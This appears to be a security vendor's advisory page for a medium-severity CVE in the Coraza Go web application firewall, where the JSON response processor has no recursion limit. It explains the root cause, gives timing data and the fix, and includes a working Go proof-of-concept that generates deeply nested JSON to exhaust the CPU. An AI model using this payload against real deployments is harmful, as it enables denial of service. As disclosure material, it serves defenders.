CVE-2026-107833

CVE-2026-107833 is a medium-severity security vulnerability in github.com/corazawaf/coraza/v3 (go), affecting versions >= 3.0.0, < 3.8.0. It is fixed in 3.8.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion

The JSON response body processor parses response bodies with no recursion
limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and
that constant is -1. The guard in readItems only fires on == 0, so
counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively
dead on the response path. The request path is fine: ProcessRequest passes the
configured limit (default 1024). There is no equivalent directive or default for
responses.

Parsing a deeply nested JSON response is CPU-bound and its cost grows
quadratically with nesting depth. A 512 KiB response (the default
ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to
process, keeping one core busy the whole time.

Root cause

internal/bodyprocessors/json.go

const ignoreJSONRecursionLimit = -1                     // line 51

func (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {
    ...
    data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1
}

func (js *jsonBodyProcessor) ProcessRequest(...) error {
    ...
    data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024
}

The guard and the decrement:

func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {
    if maxRecursion == 0 {                              // line 106
        return errors.New("max recursion reached while reading json object")
    }
    ...
    iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126

Note that ProcessResponse discards BodyProcessorOptions (the parameter is
_), so even a caller that wanted to set a limit on responses has no way to.

Why the cost is quadratic

Every nesting level re-parses the remaining nested document through
gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured
on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2
(v3.7.0-55):

depth   bytes    ProcessResponse time
5000    30004    30 ms
10000   60004    119 ms
20000   120004   456 ms
40000   240004   2.18 s
87381   524290   12.09 s

Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the
full range), which matches quadratic. Roughly 87,000 levels is the most that
fits inside the default 512 KiB ResponseBodyLimit.

PoC

Save as internal/bodyprocessors/poc_json_test.go, then:

go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...
package bodyprocessors_test

import (
      "strings"
      "testing"
      "time"

      "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
      "github.com/corazawaf/coraza/v3/internal/bodyprocessors"
      "github.com/corazawaf/coraza/v3/internal/corazawaf"
)

func nestedJSON(depth int) string {
      var sb strings.Builder
      sb.Grow(depth*6 + 4)
      for i := 0; i < depth; i++ {
              sb.WriteString(`{"a":`)
      }
      sb.WriteString("null")
      for i := 0; i < depth; i++ {
              sb.WriteByte('}')
      }
      return sb.String()
}

func TestPoCJSONResponse(t *testing.T) {
      proc, _ := bodyprocessors.GetBodyProcessor("json")

      // Request path is bounded, response path is not.
      body := nestedJSON(5000)
      v := corazawaf.NewTransactionVariables()
      errReq := proc.ProcessRequest(strings.NewReader(body), v,
              plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})
      errRes := proc.ProcessResponse(strings.NewReader(body), v,
              plugintypes.BodyProcessorOptions{})
      t.Logf("depth=5000 ProcessRequest  err=%v", errReq)
      t.Logf("depth=5000 ProcessResponse err=%v", errRes)

      // Quadratic scaling on the response path.
      for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {
              b := nestedJSON(depth)
              vv := corazawaf.NewTransactionVariables()
              start := time.Now()
              proc.ProcessResponse(strings.NewReader(b), vv,
                      plugintypes.BodyProcessorOptions{})
              t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start))
      }
}

Output on the reference machine:

depth=5000 ProcessRequest  err=max recursion reached while reading json object
depth=5000 ProcessResponse err=<nil>
depth=5000   bytes=30004   time=30.3ms
depth=10000  bytes=60004   time=119.3ms
depth=20000  bytes=120004  time=456.1ms
depth=40000  bytes=240004  time=2.185s
depth=87381  bytes=524290  time=12.085s

Impact

This needs ResponseBodyAccess turned on and a backend that returns JSON
(application/json). Reflection endpoints, download APIs that serve
user-supplied content, and JSON error responses that echo back user input are
all plausible ways to route a nested body back through the WAF.

The work happens in a single goroutine and is CPU-bound: the body is already in
memory, so there is no I/O during the parse. Each such request holds one core
for its entire run, about 12 s per 512 KiB body at the default limit. N
concurrent requests take N cores. The request path has enforced a recursion
limit since v3.3.3; responses never have.

CVE-2026-107833 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.8.0); upgrading removes the vulnerable code path.

Affected versions

github.com/corazawaf/coraza/v3 (>= 3.0.0, < 3.8.0)

Security releases

github.com/corazawaf/coraza/v3 → 3.8.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Bound ProcessResponse the same way the request path is bounded: add a
ResponseBodyRecursionLimit directive, or just pass RequestBodyRecursionLimit
instead of -1.

Frequently Asked Questions

  1. What is CVE-2026-107833? CVE-2026-107833 is a medium-severity security vulnerability in github.com/corazawaf/coraza/v3 (go), affecting versions >= 3.0.0, < 3.8.0. It is fixed in 3.8.0.
  2. How severe is CVE-2026-107833? CVE-2026-107833 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/corazawaf/coraza/v3 are affected by CVE-2026-107833? github.com/corazawaf/coraza/v3 (go) versions >= 3.0.0, < 3.8.0 is affected.
  4. Is there a fix for CVE-2026-107833? Yes. CVE-2026-107833 is fixed in 3.8.0. Upgrade to this version or later.
  5. Is CVE-2026-107833 exploitable, and should I be worried? Whether CVE-2026-107833 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-107833 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-107833? Upgrade github.com/corazawaf/coraza/v3 to 3.8.0 or later.

Other vulnerabilities in github.com/corazawaf/coraza/v3

Stop the waste.
Protect your environment with Kodem.